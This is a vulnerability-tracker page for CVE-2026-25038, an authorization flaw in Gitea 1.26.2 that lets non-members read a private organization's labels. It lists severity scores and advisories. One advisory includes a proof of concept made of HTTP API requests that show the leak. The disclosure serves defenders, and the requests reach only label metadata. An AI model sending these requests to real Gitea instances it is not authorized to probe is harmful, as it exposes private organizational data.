CVE-2026-25038

highpriority · track · 0OT risk · elevatedEPSS 0.006 · 49 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.62% (49th) EPSS
CVSS 7.5 · high
Is it mine?
7 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-27

Gitea 1.26.2 allows unauthorized users to access labels of private organizations.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondaryexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (7)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2027Gitea: Mehrere SchwachstellenDeutsch2026-06-21csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um erweiterte Berechtigungen zu erlangen, sich als Benutzer auszugeben, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.

  • GHSA-v73x-hx65-6pf4Gitea: Unauthorized Access to Labels of Private Organizations2026-07-21ghsa · osvUS

    ## Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access. No unauthorized modification of labels was observed. ## Details The following endpoints are affected: * `GET /api/v1/orgs/{org}/labels` * `GET /api/v1/orgs/{org}/labels/{id}` During testing, a private organization was created and a label was added to that organization. Access to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information. However, the same user was still able to retrieve organization labels through the endpoints listed above. For comparison, other organization-scoped endpoints such as: * `GET /api/v1/orgs/{org}/teams` * `GET /api/v1/orgs/{org}/hooks` * `GET /api/v1/orgs/{org}/actions/secrets` correctly denied access to unauthorized users. The label endpoints returned the full Label object, including fields such as: * `id` * `name` * `description` * `color` * `url` Write operations were tested separately and remained protected by authorization checks. ## PoC ### Setup Create a private organization: ```http POST /api/v1/orgs Authorization: token <owner_token> { "username": "target-org", "visibility": "private" } ``` Create a label: ```http POST /api/v1/orgs/target-org/labels Authorization: token <owner_token> { "name": "internal-label", "color": "#aabbcc", "description": "private organization label" } ``` Verify that the organization is not accessible to a non-member: ```http GET /api/v1/orgs/target-org Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 404 Not Found ``` ### Retrieve all labels Request: ```http GET /api/v1/orgs/target-org/labels Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The response contains labels belonging to the private organization. ### Retrieve a specific label Request: ```http GET /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The full Label object is returned. ### Verify write protection Request: ```http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 403 Forbidden ``` ### PoC Details https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak ## Impact Users who are not authorized to access a private organization can obtain label metadata associated with that organization. Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions. The issue affects confidentiality only. No integrity or availability impact was observed.

  • GO-2026-6076Gitea: Unauthorized Access to Labels of Private Organizations in code.gitea.io/gitea2026-07-27vendor · osvUS

    Gitea: Unauthorized Access to Labels of Private Organizations in code.gitea.io/gitea

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-03modified 2026-10-25
08

references (13)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan